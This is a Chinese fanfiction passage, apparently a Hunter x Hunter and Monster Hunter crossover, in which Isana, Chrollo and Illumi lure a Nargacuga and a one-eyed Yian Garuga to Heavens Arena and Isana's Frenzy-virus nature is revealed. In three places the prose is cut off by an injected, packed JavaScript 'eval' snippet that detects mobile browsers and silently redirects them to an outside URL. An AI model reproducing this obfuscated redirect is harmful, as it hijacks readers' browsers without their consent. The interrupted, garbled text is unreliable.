当然,局长对这座森林的危险性还是有所耳闻,于是让雇来的佣兵和安保局的手下先往前走,自己坐镇队伍最后。 就这样,逐渐深入树海。 一路上,除了行进的脚步声,和风吹过树枝的动静之外,几乎什么也听不见。 然而不知从哪个时刻开始,队伍的移动速度变得越来越慢,最终在沉默中停了下来。 “怎么了?发现什么了吗?” 局长强撑着嗓门朝着队伍前方嚷嚷,然而前方的手下只是一脸冷汗地回过头。 “不,但是前面,总觉得……” “你会不会说话!” 语焉不详的话让局长心里升起一股火来,但他很快也住了嘴。 因为那股“气息”已经传到了队伍的最末尾。 阴风吹过全身,一种几乎令心脏冻结的恐怖压迫感紧跟着席卷而来。 就在前方的密林深处,毫无疑问,有什么极为危险的东西。 —— 在同一片区域相遇的大型怪物,彼此之间会通过战斗决定领地的归属。 正面进行一对一厮杀,直到其中一方咽气或者离开。 而此刻,库洛洛站在林间,眺望着树海深处的某个方向,他的身形隐藏在暗处,但念完全没有藏起来的意思。 两年的修行,再加上时不时参与大型怪物的狩猎,让念无论在量还是质上都得到飞速成长。 尽管和飞龙种相比仍有差距,作为挑衅来说已经足够。 这是与怪物的战斗方式。 然而,在这即将化为战场的区域,旁边却有一支队伍也被吸引过来,应该全是不会念的普通人。 库洛洛将眼神扫过去,又很快收回来。 来得正好,可以做个测试。 从一开始,他就没有把那些擅入者的安危列入考量,只把他们当成背景,当成风景的一部分去看待。除了流星街的同伴,其他人都可以替代,世间所有事物,都是另一些事物的替代品。 说到底,他基本上不认同他人的意志。 但如果用同样的方式,让流星街将整个世界拖入这种争斗,多少与他的初衷相悖。 库洛洛正思索间,忽然,呼吸停顿了一瞬。 视野的尽头出现了异常。 仅仅是某根树枝多晃了一下的程度,轻得仿佛只是个错觉,但库洛洛还是立刻用坚覆盖全身,同时用尽全力往后一跳。 下一刻,黑影撕开了朦胧月色。 前一秒还只是个远方林间的模糊影子,下一刻就冲到极近的面前,弹跳力强得简直不像是这颗星球上该有的生物。 它浑身包裹在漆黑兽毛之中,宛如猫科动物的脑袋上是一张长着尖牙的嘴,锋利无比的刃翼与爪子,鞭子一样的长尾巴。 明明拥有十几米的巨型身躯,却安静得不可思议,没有气味,也没有气息。 非法无纪,墨染之兽—— 迅龙。 自千年前以来它们就是暗杀的象征,在现代化进程中变得越来越少见,此刻却出现在这片树海中。 过于强大的风压让库洛洛向后被推出一段距离,视线还来不及改变焦距,他足底轻轻往前方一滑,化解多余的冲力,然后轻轻回身,面无表情地看向先前自己站着的地方。 诱导成功了。 “——噼啪!” 埋在地下的陷阱爆出一阵电光,迅龙嘶吼一声落入其中,前爪抽搐着刨动地面,划出一道道极深的痕迹,一时无法行动。 “趁现在,开火!” 胖局长心里一喜,刚回过神来,就连忙命令手下动手。 枪声箭声一时间连绵不绝,打在陷入麻痹的迅龙身上,竟发出金属相击的声音。 烟尘落下,那头巨大的怪物依旧在挣扎,看不出是否受伤。 “别白费力气了,这么做只会激怒它。” 正疑惑间,局长的头顶某处突然传来一个声音。 他下意识抬起头,看见一双暗处微微发光的金红色眼睛,青年平静而散漫的表情就和之前一模一样。 这个冒牌猎人,居然一个人进了树海也没死吗!? “你、你是之前的……” “明明雇用了我,还是带人过来了,看来我没有被信任啊。” 伊萨纳的语气有些遗憾。 “想狩猎纳鲁加库鲁加(迅龙),至少带上□□或者炸药才行,那些黑色的兽毛,是从堪比钢铁的坚硬鳞片上长出来的,硬度同样很高。” 为了避免在林间移动的时候发出动静,尽可能减少摩擦力,才进化出这种外观。 “这一路上,注意到地上偶尔出现的坑洞了吗?”伊萨纳继续道,“被你们以为能用子弹打穿的兽毛砸到就是这种下场。别看它像兽类,还有点可爱,但迅龙是危险的飞龙种。” 从这一点来说,那个叫伊尔迷的孩子和它还真的有点像。 青年不着边际地想着。 ——可爱? 这一番话听得局长眼睛都瞪圆了,他们困扰了这么久的怪物,这头能把人一口吞进去的巨大怪物,这人居然用“可爱”来形容? “你小子在瞧不起我们吗!”他忍受不了地大喊道,“委托撤销!敢碍事就连你一起解决!” 他掏出枪来,但还没来得及向上瞄准,伊萨纳的身影就消失在高处的树枝上,与此同时,身后传来幽灵般轻飘飘的声音。 “嘘。” 胖局长吓得魂都要飞了,然后就听见这个怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289335|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物猎人继续道: “迅龙对声音非常敏感,巨大的动静会吸引它们的注意力,而且和大部分的地方霸主不同……只要是为了利益,它们有时候会选择结伴行动。” 特别是在繁殖期,会有两头迅龙共同占领方圆百里的树海区域的现象。 “唉,不过,”青年遗憾道,“虽然想提醒你让你的手下保持静默,看来也来不及了。” 树隙间的暗影中,另一头迅龙已经现身在几十米开外。 它似乎在忌惮什么,但依旧越靠越近,动作轻得就像是捕猎前的猫。 “你们打算怎么办?”伊萨纳问,“虽然性格谨慎,但迅龙也相当好战,要用你们手里的武器对付它吗?” 那样一来,迅龙估计会很高兴吧,比起一味暗杀,偶尔折磨那些会反抗的猎物,或许更能激起野兽的本能。 怪物越靠越近。 吓破了胆的队伍连逃跑都不敢,只是用枪口对准。 似乎总算意识到局势不妙,胖局长焦急道:“你不是猎人吗?快救人啊!” “虽然好斗,但是迅龙不会主动找人类的麻烦,”伊萨纳没有理会他的话,“哪怕是繁殖期也会待在自己的领地里,不会侵扰人类的城市,更别提天空竞技场那种地方。” 过于吵闹、明亮、显眼的场所,对它们发达的听觉和视觉来说是一种折磨。 而且迅龙的翅膀更擅长滑翔和攀爬,从构造上就不擅长直接往高处飞,以竞技场的高度,它们根本无法飞上去。 “你到底在说什么!?你要什么我都答应,快救人!” 局长已经快崩溃了。 “那就撤回对迅龙的讨伐委托吧。”伊萨纳不紧不慢地说着,手中出现了一把像是刺剑的武器,“‘黑影’的正体不可能是它们,实在是……怪可怜的。” 也不知道是在说那些因狩猎迅龙而枉死的人,还是在说遭受无妄之灾的迅龙。 —— 战场的另一边。 库洛洛将先前盗取来的能力——那能延缓敌人速度的木桩刺入迅龙刚才踏过的树干,但就在他展开进一步行动前,另一个身影先一步攻击了落入陷阱的那头迅龙。 伊尔迷拿着和身形相比过于巨大的匕首,用反握的方式刀尖朝下,从树冠跳了下去。 他双眼直直看着目标的脖颈,身影轮廓模糊,从旁观的视角来看,几乎是一团令人毛骨悚然的黑雾。 “——!” 意识到威胁的迅龙对此做出回击,它朝上空发出威慑性质的巨大咆哮,攻击被嘶哑的风压干扰,没能卡入鳞片之间的缝隙,在发出锵的一声令人牙酸的脆响后,暗杀者离开了攻击范围。 念钉也没能打进去。 原来野生的怪物也会用“坚”。伊尔迷心想。还以为三毛是被特殊训练过的,看来不是。 这些拥有念的怪物,个头越大,对念的抵抗也越高,就算用钉子打进去也顶多妨碍行动,控制不了它们的脑子。 既然一根不行,就增加数量试试。 他这样想着,身影消失在原地。 与此同时,迅龙也成功挣脱了麻痹陷阱。 怪物与人类,两方的杀手之间正式打响战斗的瞬间,两方都同时隐藏了身形。 18.第十八章 前几日,揍敌客家收到了一个委托。 内容和天空竞技场附近树海内的迅龙有关,委托人选择了匿名,具体来源连基裘夫人都无法彻底追踪,最后只是得出结论,委托人来自流星街。 但这些都不重要,由于对方很干脆地付了全款,而且任务也相对容易,于是这个任务被交给了伊尔迷。 这并非是揍敌客家认为他们刚满12岁的长子,可以独自狩猎一头以杀戮闻名的飞龙种怪物。 而是因为,任务目标根本就不是狩猎。 回到现在,战场。 迅龙潜伏在林中伺机而动,而伊尔迷同样从黑暗中穿梭,几个闪身后,动作一瞬间加速,左右两排钉子交叉着对准怪物的面部,下一瞬间就已经全部投掷出去。 动作快得堪称极限,哪怕是杀害举动,仍然显得有几分诡异的美感。 然而,只见墨染之兽那条钢索般的尾巴末端立起尾棘,利用离心力猛地一甩—— 清脆的金属音在空中爆出火花,钉子被尽数击落。 原来如此,那条尾巴不止能横扫,还是可以将兽毛作为远程武器的类型。 伊尔迷不动声色地取下刺入手臂上的一根尾棘,创口只是被针扎到的程度,皮肤却不正常地纵向裂开一条深缝。 是裂伤……居然能伤到自己,回去之后,要不要提议在弟弟们的训练里加上这一项呢? 他这样想着,止血,肌肉聚合,一气呵成,随后躲开迅龙前爪的扑杀,就在这时,漆黑的怪物忽然朝旁边侧跳出一段距离。 “嘭!” 数米长的尾巴猛烈砸下,发出破空之声。 但当轻松躲闪过的伊尔迷偏头看去时,却发现迅龙的尾棘没有立起。 是佯攻。 果然,紧接着那条尾巴猛然折返,尾尖瞬间像是毛绒做的锤子一般炸开,将第二道尾砸从死角袭来。 无法防御。 只要被击中,无数棘刺必然将他的身体戳得四分五裂。多年来纯熟的训练让伊尔迷的身体与思考同步,他脚步加快,四肢朝着触目惊心的方向扭曲,堪堪离开了攻击范围。 迅龙的尾巴狠狠锵入地面,尘土四溅,在行动因为被卡住而停滞的瞬间,伊尔迷手腕轻轻向前抛出了一个东西。 那是一枚音爆弹。 它在黑暗中划出精准的弧线,落在怪物身旁。 【——】 剧烈的声响撕裂了空气。 迅龙虽然听力敏锐,却不会被突如其来的巨响扰乱心智,像眠鸟那样陷入眩晕。 与此相反,它会被激怒。 只见怪物的瞳孔猛缩,一声嘶吼后,墨黑色被无尽的猩红所覆盖。 摇曳着红煌流星的眼睛,死死向伊尔迷。 好了。 少年心想。 任务快完成了。 —— ———— 树海,另一侧。 “再等一下吧,还不能往那个方向跑。” 状似荆棘的刺剑拦下迅龙的前进方向,强烈的压迫感令它不得不收回向前试探的动作,视线重新转向猎人所在的位置。 这边的战况也陷入了胶着。 但与其说战斗,不如说是伊萨纳单独限制住了这头迅龙的行动,两边出于各自的考量,都没有多少战意。 身败名裂的安保局长已经带着手下狼狈逃走,现在只剩下他们了。 “这里的树木虽然密集,但是还不够高,应该远一些的地方更适合你们生存。”伊萨纳对它说道,“但你们抛弃了更合适的居所,出现在这里……是被赶出来了吗?” 迅龙只是压低身形,发出警告性质的吼声。 唉,果然听不懂。 不只是迅龙听不懂他的话,自己这边也搞不懂迅龙在表达什么。 如果是与怪物共存的骑士(Rider)一族,说不定这个时候就能沟通了吧。 猎人在心里叹了口气,他想起早些时候在列车上看见的,从森林里惊飞的翼龙。 这种小型环境生物,一般会栖息在与大型怪物的行动范围不重合的地方,也就是说,某个新来的存在划定了新的领地,驱逐了它们。 不难想到,那即是一个月前袭击了天空竞技场的,真正的“黑影”。 “我的目标不是你,”伊萨纳注视着迅龙,看着它身上那些明显是大型怪物间的厮杀所形成的旧伤,“但为了狩猎真正的目标,我需要你的帮助,我们的利益是一致的。” “那双眼睛快点将我视作敌人,跟我过来如何?” 单薄的刺剑在空气中划出凌乱而锋利的弧度,那是用曾经翱翔天空的雌火龙的素材制成的片手剑。 伊萨纳没有带音爆弹或者闪光弹,为了将迅龙逼入“红煌流星”的状态,只能展开攻击。 然而哪怕是遭到这种程度的挑衅,那头迅龙也只是吼了一声,然后转头毫不犹豫地离开。 “……为什么?”伊萨纳相当受打击,“没有你我的计划完成不了,等一下。” 他尝试着追了一阵,但那头迅龙连理都不理,逃得无比果断。 倒是还有一个办法。伊萨纳心想。但这头迅龙已经够可怜了,就先放弃吧。 他叹了口气,就在这时,忽然感知到了伊尔迷那一侧的战况。 那孩子,居然领着进入“红煌流星”状态的另一头迅龙往城市的方向跑了。 “咦?” 现代杀手做的都是这么大张旗鼓的工作吗? 伊萨纳有些困惑,但决定将计就计,同样开始往城市方向前进。 说起来总觉得少了什么…… 狩猎的时候,比猎人矮的,会一直跟在旁边加以援助的那种存在—— “库洛洛去哪了?” 他感知了一下,却没能找到,于是暂时放下了这个问题。 —— 与此同时,天空竞技场附近。 云谷盘腿坐在旅店的地毯上,一边闭着眼进行今天的念能力修行,一边休息锻炼了一天的身体肌肉。房间的电视还开着,但是基本上影响不到他。 由于比司吉嫌弃竞技场的套间狭窄,他们没有住在那里,而是在附近租了个小公寓。 代理师傅去附近的商场购物了,没带他,不知不觉时间已经入夜。 “竞技场……袭击……” 耳边似乎捕捉到了这样的字样。 于是云谷停止集中心神,他诧异地睁开眼,拿起放在旁边的水杯喝了一口,同时看向电视。 只见屏幕上用夸张的字样写着一行内容: 【突发新闻:天空竞技场遭到怪兽袭击。】 云谷差点被水呛到。 新闻频道在说什么东西?特摄片吗?——这样的怀疑很快就被直播画面打破,因为在那摇晃的镜头中展示的,的确是他每天都要去的天空竞技场。 一头看不清轮廓的,漆黑的巨大怪物,正拖曳着双眼的猩红色彩,发了狂似地顺着竞技场的外墙往上爬,烟尘和碎石就像现实的碎片一般,纷纷落下。 它速度快得惊人,转眼间已经爬了一半以上的高度。 云谷愣了几秒,打开窗朝外面望去,发现这都是真的,天空竞技场上真的攀附着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298692|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道黑影,他刚想打电话给比司吉,忽然就感觉视野骤然一暗。 天黑了。 云谷来自一个远方的宁静小镇,在他的家乡,一到晚上就会进入字面意义上伸手不见五指的黑暗。而当他跟随比司吉来到这座繁华城市后,最开始那几天,哪怕到了半夜,云谷都以为天还没黑。 城市的天是不会真正黑下去的。 他已经默认了这一点。 然而现在,原本被城市光线渲染成朦胧粉色的夜空,却盖上一层和他老家没有区别的浓厚黑暗。 其源头,正是天空竞技场的顶端,也是怪物往上爬的方向。 “那是……什么?” 云谷头冒冷汗,他下意识用凝观察了楼顶,也看见了发出念的东西,和怪物相比,那个存在相当渺小,就像是…… 人类? 脑海里闪过这个词,忽然房间里的电话响了,云谷被吓了一跳,赶紧跑过去接起,听见听筒里传来比司吉无比严肃的声音。 “关好门窗,随便找个柜子藏进去,把电话也放进去,在我下一次打给你之前,无论外面发生什么也不要出来,今晚就在里面睡吧。如果察觉异样,就用气保护全身。” “我明白了,那代理师傅,您自己……!” “用不着你操心,啊对了,也别想着去提醒其他人,这些事交给大人去做,小孩子别添乱!” 说完,比司吉就挂了电话。 到底发生什么了?关门关窗还不够,怎么还要躲起来。 尽管周围还很安静,云谷却感到一阵难以形容的恐怖。 说到底,那层笼罩城市的黑暗到底是什么? 另一边,繁华的商场内。 “该死,这种事是我能解决的吗?” 比司吉挂了电话,她有些烦躁地放下手里提着的购物袋,然后观察一番四周。 已经有些人注意到窗外的异常,但没有念的普通人顶多觉得今天晚上天更黑了而已,没有影响到秩序。 “那个叫伊萨纳的小子是疯了吗,”比司吉走到窗边,皱着眉凝视那个站在竞技场顶端的人影,“散发出来的这东西根本不像念,他到底是想……嗯?” 从红光闪烁的方向来看,迅龙已经快爬到竞技场顶端了。 而与此同时,另一只怪物自天边出现。 单眼拖曳着一道红色光芒,它飞翔着穿过云层和那层黑色的“念”,将天空豁出一个口子,凭借洒下的月光,比司吉看清了它的全貌。 那是一只浑身覆盖着暗紫色甲壳,被可怕斗气包裹着的鸟龙种怪物。 —— “任务完成。” 将迅龙引诱到天空竞技场楼顶后的伊尔迷看了一眼站在那里的伊萨纳。 “这是你要的资料,情况特殊,报酬我之后再跟你提。” “谢谢,”伊萨纳说,“我还以为你会杀了那头迅龙。” 如果再努力一些,或者用上更多道具就能成功,尽管只有十二岁,但伊尔迷已经具备了怪物猎人的实力。 “……得不偿失。” 简短说完,他就毫无停留的意思,直接离开这里。 “真务实。” 伊萨纳不紧不慢地将资料收好,然后耸了下肩,重新迎着高处的大风,看向正朝此地被吸引而来的对手。 那是一头独眼的黑狼鸟。 也是真正的“黑影”。 “走吧。”他抓住跟着伊尔迷来到此地的迅龙,拍了拍它的脖子,“向将你们赶出领地的罪魁祸首复仇的机会来了。” 随后,迅龙张开双翼,开始了滑翔。 19.第十九章 在数量众多的怪物族群中,偶尔会出现极少量的特殊个体。 这些个体脱离了自己种族的极限,磨练出更强大的能力,甚至其中不少在生态位置上都会更高一级,所以会被猎人们赋予特殊的称号。 然而,被称为“只眼黑狼鸟”的这头怪物,和其他掌握绝技的特殊个体不同,它和普通黑狼鸟的区别只有一点—— 那就是极端到无可救药的好斗心。 一个月前,当时天空竞技场的234层楼主,在一场签下生死协议的战斗中途突破了自我。 念能力得到强化,向外散发出强烈的“气”,朝着四周激荡开来。 这场战斗吸引来了无数热血沸腾的观众,也引来了正在领空巡游的只眼黑狼鸟。 它直直飞到此地,面对战斗中的两个人类,它的选择和面对怪物时没有区别。 既非挑选强者,也非欺压弱者。 而是遵循本能,将斗争中的两个个体全部杀死了。 在这座人类建造的竞技场上嘲讽着此处的规则,将更为残酷,更为混沌的,属于自然的竞技场的带入此地。 库洛洛鲁西鲁正在眺望着天空中发生的一切,就在这时,他听见身后传来了一声极为平静的声音。 “是你吧。” 转过头去,只见依旧宛若人偶的伊尔迷站在那,衣角微脏,手臂上有一道尚在愈合的伤口。 “什么是我?”库洛洛的表现就像是不知道对方在说什么。 “十几分钟前,你在森林里让我带着迅龙去天空竞技场。”伊尔迷说,“我不认为,你只是像说的那样,想让我摆脱那头迅龙。” 到了这个地步,再不承认就显得多余。 “嗯,向揍敌客家提出这个委托的确实是我,”少年叹了口气,回答道,“没想到来的是比我还小的孩子,真是羞愧。” 又在说谎。 别说羞愧,他分明连一丝情绪上的动摇都不存在。 但说穿了也只会浪费时间,于是伊尔迷谈起正事。 “迅龙还不值得其他家族成员动手,”他说,“但爬上天空竞技场是预定外的事项。” 库洛洛做出一个微笑:“关于这个,我会补上差价,连同违约的金额一起。” ……虽然非暗杀任务的委托金本来也没有高到多离谱的地步,但这也太有自信了。 “你哪来这么多钱?”伊尔迷忍不住问。 “之前,伊萨纳先生给你的那瓶碎龙的发光黏菌,还记得吗?” “我记得,讲重点。” 这两个人是都喜欢绕着说话吗?要不以后还是给沟通时间也算作计费部分好了。 库洛洛继续道:“除了那个东西之外,碎龙的其他部位他都没有兴趣,所以素材最后都被我卖掉了,诸如此类的事情在旅行中还发生过很多次,渐渐赚了不少钱。” 听得伊尔迷蹙起眉头。 只是想要发光黏菌,跟在碎龙后面偷偷采集就行,结果那个怪物猎人杀了价值高昂的怪物却不拿报酬,这是什么奇怪的行为? 不过算了,这些都和他没关系。 “新的委托金额是这个,”他报了个数字,“记得一天之内补上差价。” 如果不照办,揍敌客也会维护自己的交易底线。 伊尔迷离开后,库洛洛同样没有停留,开始朝着迅龙与黑狼鸟滑翔的落点前进。 前路一成不变,夜晚的城市依旧亮着灯。 街景也好,人也好,到哪里都差不多。 说到底这世界不是竞技场,而是更加复杂,更加无序也无趣的某种东西。 流星街固然和世界有无法调和的矛盾,如果他将世界作为敌人,像只眼黑狼鸟那样无止境地厮杀下去,恐怕只会适得其反。 正思考间,不知道从什么时候开始,覆盖天穹的黑色开始逐渐散去,重新显露出的月光格外明亮。 那个人羽毛一样柔软的头发,在这夜空的照耀下,又会映出怎样的颜色? 胸口泛起极为不祥的预感。 但库洛洛仍然朝着迅龙飞去的方向追赶。 在之前的旅行中,伊萨纳几乎没有使用过念能力,哪怕遇上强敌,也只是具现化出一些武器应对。 看上去像是具现化系的能力,但实际上并不相同。 那么,是把自己击败过的怪物的素材,转化为武装的能力? 感觉也不是那么单纯的东西,更何况这个人说过不擅长增加持有物,对拥有什么东西也没有兴趣,又怎么会收集怪物的素材? 伊萨纳说他们的能力相似,但究竟相似在什么地方,库洛洛仍旧没有头绪。 不过,很快就会知道答案。 随着深入森林,他看到了堪称惨烈的战斗痕迹。 这里一路上,都是以异常角度这段的树干,土石乱飞,有些地方还染着火焰。 快到地方了。 这样想着,库洛洛手中浮现出漆黑的书本,翻到其中一页,发动了过去夺取来的一个念能力。 将水汽缠绕在身体周围,在战斗中有干扰对手视线的效果,也可以在沙漠或炎热地带作为求生手段使用。 不过此时,库洛洛发动这个能力有着其他用意。 他速度极快地在森林中穿梭,最终,来到大地传来震动的那片区域。 不出所料,战斗已经结束了。 已经结束了,但是。 “果然。” 该说是恍然大悟吗,还是早有预料。 当他尝试着不惜委托揍敌客家也要找出这人的真实情况时,就应该料到这个结果。 “果然,是这样……” 寂静的林间,那个穿着黑色斗篷的青年的身影,一如往常地站着,旁边是只眼黑狼鸟的尸体。 只不过,从他身上,从他的头发、双臂、眼睛和头顶一侧伸出的漆黑龙角上,一直延伸到已经倒下的黑狼鸟—— 黑紫色的,发着浅淡光芒的不详雾气,就像是有生命一般,无处不在地涌动着。 光线歪曲,视野摇晃。 “哎呀。” 黑衣缠身的“怪物”察觉到动静,回过头来,神色如常。 那些黑紫色的雾气像是呼吸般呼应着他的动作,跟着他的行动起伏。 “我说你怎么突然不见了,原来是用了能干扰狂龙病毒感知的能力,”他不紧不慢地说着,“真是了不起的观察力和演技,从什么时候开始准备的?我一点都没发现,这是实话。” 那是猎人吗。 还是怪物。 “伊萨纳……先生?” “是我没错,别害怕,吞噬完黑狼鸟这些东西就会收回去,不会对你动手动的。”青年安抚地对他笑笑,“如果可以,我也不想现在就让你发现,实在是瞒不过了。” 那是带着几分恶意的天真笑容,相当矛盾,却又无比和谐。 “所以别卖关子了,库洛洛,快告诉我吧,到底是什么时候发现的?” “也是从你没发现我跟去垂钓的时候,”少年说,“当时你在水里,所以没有感觉到我,所以我就猜测你有某种无法穿透水面的特殊感知能力。” 再加上,先前坠入悬崖下面的湖中时,他也疑惑为什么这个人能判断所有地形,却无法感知水面。 ——狂龙病毒。 由古龙“天廻龙”和其幼体“黑蚀龙”所散发的致命物质,落在周围的生命上,能瞬间将该生物的温度、位置与大小等信息传输给散发者。 然而说是病毒,其实只是这一物种的鳞粉。 由于感染它的大型怪物会进入无法治愈的狂化状态,彻底失去神志,一直战斗到死,尸体成为孵化下一代的黑蚀龙的营养来源,并且具有极强的传染性,所以被冠以“狂龙病毒”这样一个不祥的名字。 伊萨纳忍不住鼓掌:“真厉害。” 就好像是当年,看到他制造出麻痹瓶的时候一样。 “但这不对劲,”少年攥紧双拳让自己的理智运转,“狂龙病毒对人类本来就效果不大,对念能力者来说,只要用打消果实就能解除,你到底是怎么感染的?” 至少根据艾登所写的《猎人伊萨纳》的内容,应该是这样。 不然当时的猎人也好,普通人也罢,早就被病毒逼得死伤惨重,连文明都可能出现断代。 “你的判断是正确的,那本书虽然夸大了很多部分,但对怪物的描写基本都是真实的。”伊萨纳说,“单纯的狂龙病毒当然没有后遗症,但是,更多的我就不能告诉你了。” “你旅行是为了找打消果实吗?” “你见过我那么做吗?”伊萨纳转过身,眼神倦怠而温和,“没用的,现在这鳞粉是我的一部分,我和它们共同生存在这具躯体里,它不是病,而是状态。如果想知道理由……自己去调查怎么样?” 什么传说人物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307340|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么英雄,艾登还真是爱多管闲事。 说到底,站在这里的只是一个麻烦缠身的怪物猎人而已。 “原来是这样。” 然而听到这些,库洛洛的眼睛却微微睁大,最初的混乱褪去后,那双深不见底的眼里又迸发出鲜明的求知欲。 “你之所以最近一直在说你喜欢人类,也是这个原因。” “嗯?”伊萨纳愣了一下,“嗯,是的。” 狂龙病毒会告诉他所有生命的位置。 其理由,就是催促着他将触及的一切尽数猎杀,这是天廻龙的本能。 所以“喜欢人类”、“遵守法律”——如果不这样用社会约束不断进行自我催眠,他一定会将天平彻底倒向怪物。 然后,将人类纳入吞噬的范围。 “而且说实话,”金红色的双眼看向已经长高不少的少年,“如果真的越过那条线,处境最危险的就是你。” 少年回望过去,没有说话。 “怎么,后悔跟我出来旅行了吗?” “不,只是,”库洛洛顿了顿,然后缓慢地扬起一个笑脸,“我很高兴你回来了。” “……回来?” 真是个奇怪的孩子,伊萨纳有些无法理解他情绪上的变化,干脆换了个话题。 “这座城市周围都是森林,我不知道黑狼鸟具体在哪个方位,只有站在最高处才能确保把它吸引过来,所以就将病毒扩散出去了。” 至于让迅龙爬上竞技场,一是为了前往远离市中心的地方战斗,二是彻底洗刷它的嫌疑,将迅龙和黑狼鸟的区别公之于众……不管有没有用,他觉得自己有这么做的义务。 而且黑狼鸟一死,迅龙就会回到原先的栖息地,恐怕也会被不明情况的普通人塑造成赶走“黑影”的英雄。 总之,没有人会骚扰它们。 但之前那头迅龙没被他激怒倒是意料之外,还好伊尔迷补上了空缺。 ……大概是库洛洛暗中安排的吧。 才十四岁就这么深谋远虑,伊尔迷也是,这些孩子以后到底会变成什么样。 伊萨纳有些感怀地看着他,转而从斗篷里拿出一卷文件,还有一块破碎的布料。 “这个给你。” 库洛洛伸手接过,发现是当年被影蜘蛛扔进垃圾山的车辆上挂着的外套碎片,上面印着奇怪的图案。 “毒早就没有效果了,说烧掉是骗你的。”青年说,“另外的资料,是关于这个制服所代表的团体的背景来历。” 虽然他自己也不是找不到,但这样确实省了不少时间。 少年点头:“我会处理好的,但你这是赶我走的意思吗?” “比起怪物,你更想狩猎的其实是人类吧。” “……该怎么说。” 库洛洛没有直接回答,而是抬眼看向他。 “等流星街的事告一段落,如果再遇到,我会告诉你的。” “那我就等着了。”伊萨纳侧起头,“算我多问一句,你具体是要解决什么事?” 应该不只是寻仇这么简单。 “影蜘蛛的力量太弱了,我必须在它失去威慑力之前,成为新的‘蜘蛛’。” “你要成为怪物?” “如果伊萨纳先生要狩猎我,我也会和你战斗。” “那要看我对怪物的定义是不是跟你一样了。” 闻言库洛洛笑了一下,挥手跟他道别。 其实从在列车上开始,就有离别的预感,而从事件的真相到这个结果,双方也都心知肚明,却始终保持沉默。 “对了。”在出发前,少年冷不防地问了个问题,“伊萨纳先生,你其实讨厌人类对吧?” “……” 一贯漫不经心的神色消失了,笑容收了回去,变得近乎面无表情,要解读他的情绪非常困难。 旅行中,伊萨纳也没有做过伪装,一直坦率表达自己的想法,但只有这种时候,库洛洛才能看清他们两人之间的相似之处,或者说,才能清楚感知到这个人的存在。 毕竟和拥有流星街这个归处的自己比起来,这个人从一开始就一无所有。 名为狂龙病毒的鳞粉连同黑狼鸟的尸体一起消失,地上只留下一摊浅浅的血痕。 在仿佛什么也没发生过的战场上,长久的沉默流逝。 最后,这个和他相似的异端如是回答道: “我不知道。” 20.第二十章 几日后,猎人协会所属-植生研究所。 地下三层,负压实验室。 近乎纯白的空间内,几个穿着防护服的人正隔着一道透明防护罩,研究其中的样本。 他们都是疑难杂症猎人、病毒猎人或在这些领域的专家,而研究对象是一团呈现出黑紫色泽,不知具体成分的粉尘。它乍看之下有点像煤灰,但在光线中却呈现出极为斑斓的色彩。 “第十四次尝试结束,已确认该物质对热量、声音、光线以及八种常见材料均无反应。” 有人录完数据,转头看向其他人。 “我提议下一步打开防护屏障。” “还不行。”反驳他的是一位戴着眼镜的猎人,“这种物质先前覆盖了以天空竞技场为中心,直径近三十公里的范围,但现在除了我们眼前被带回的样本外,现场连一丝一毫的粉尘都没有留下。说明它的自我整合能力和智能都超出想象,我提议先引入有机体进行安全测试。” 大多数人也同意她的观点,于是一番权衡后,一枚新鲜树叶被投入屏障内侧。 叶片轻轻落下,产生的微风稍微震动了粉尘。 但那充其量只是错觉,它本身没有动静。 十几秒死一般的寂静过后,在场所有人都暗暗松了口气。 “你想太多了,绮多。”为了打破紧张的气氛,有人这么说道,“应该只是虚惊一场。” “……但愿如此。” 名为绮多的疑难杂症猎人这样说着,额角却冒出冷汗,她不认为简单的物质值得协会召集他们这么多人过来。 “接下来,投入活体。” 随着一阵机械转动的声音,一只指甲盖大小的硬壳甲虫被放进屏障内部,漫无目的地飞动。 “为什么是昆虫?”有人问。 “最好谨慎些,从小到大依次投放昆虫和小白鼠,这是会长给出的建议。” 绮多说着,眼睛却始终紧盯着屏障内侧,尽管年纪尚轻,她已经走在专业前沿,几乎是这里最有话语权的人。 这大概会是一场漫长的观察。她心想。 偌大的密封箱内只有一小捧粉尘,以及飞在半空中的那么小的虫子,光是让两者产生接触,可能就需要花十几分钟甚至更久。 “A组去休息五分钟,我先在这里……” 她的话刚说到一半就停了下来,只见箱内的飞虫忽然降落在地面,位置距离那些粉尘还有一些距离。 或许是虫子翅膀扇动的缘故,那堆东西貌似比刚才要散了些。 其中的几枚微粒,不知何时来到了甲虫足下。 绮多想去取仪器细看,以观测两者是否真正发生接触,但还没等她伸出手,这个举动就变得不必要了。 因为那些粉尘,就像被吸附在磁石上的铁粒一样,明显有意识地一点点包裹了那只甲虫全身。 “嗡——” 